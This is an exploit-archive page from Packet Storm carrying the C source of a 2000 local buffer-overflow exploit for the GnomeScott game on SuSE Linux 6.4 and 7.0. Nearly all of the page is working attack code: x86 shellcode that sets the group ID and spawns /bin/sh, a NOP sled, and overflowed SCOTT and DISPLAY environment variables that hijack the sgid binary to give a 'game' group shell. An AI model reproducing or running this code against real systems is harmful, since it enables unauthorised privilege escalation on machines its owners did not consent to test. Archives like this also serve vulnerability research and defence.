exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

hhp-GnomeScott_smash.c

hhp-GnomeScott_smash.c
Posted Dec 31, 2000
Authored by Loophole, hhp | Site hhp-programming.net

GnomeScott local buffer overflow which provides a gid=40 (game) shell on SuSE 6.4 and 7.0.

tags | exploit, overflow, shell, local
systems | linux, suse
SHA-256 | b91af559b80952154115640a2ad71c7a3af251836cff99bde6dad6259ee95e28

hhp-GnomeScott_smash.c

Change Mirror Download
/* GnomeScott local buffer overflow. (gid=game(40))
*
* Author: Cody Tubbs (loophole of hhp).
* www.hhp-programming.net / pigspigs@yahoo.com
* 12/8/2000
*
* This exploit was coded at overfiens in cali.
* Shouts to overfien and skeptik... h00t h00t.
*
* Tested on SuSE 6.4/2.2.14 and 7.0/2.2.16-SMP
* sgid "game"(40) by default.
*
*/

#include <stdio.h>

#define OFFSET 0
#define NOP 0x90
#define DBUF 256 //184+RET+68 :D
#define GID 40

static char shellcode[]=
"\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x00\x31\xc0"
"\xb0\x47\xcd\x80\x31\xdb\x31\xc9\xb3\x00\xb1\x00\x31"
"\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0"
"\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08"
"\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8"
"\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x69";

long get_sp(void){
__asm__("movl %esp,%eax");
}

main(int argc, char **argv){
char eipeip[DBUF], buffer[4096], heh[256+1];
int i, offset, gid;
long address;

if(argc>1){
offset=atoi(argv[1]);
}else{
offset=OFFSET;
}

address=get_sp()-offset;

for(i=0;i<DBUF;i+=4){
*(long *)&eipeip[i]=address;
}

gid=GID;
shellcode[10]=gid;
shellcode[22]=gid;
shellcode[24]=gid;

for(i=0;i<(4096-strlen(shellcode)-strlen(eipeip));i++){
buffer[i]=NOP;
}

memcpy(heh, eipeip, strlen(eipeip));
memcpy(heh, "DISPLAY=", 8);
putenv(heh);

memcpy(buffer+i, shellcode, strlen(shellcode));
memcpy(buffer, "SCOTT=", 6);
putenv(buffer);

fprintf(stderr, "Return address %#x, offset: %d.\n", address, offset);
execlp("/opt/gnome/bin/GnomeScott", "GnomeScott", 0);
}


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close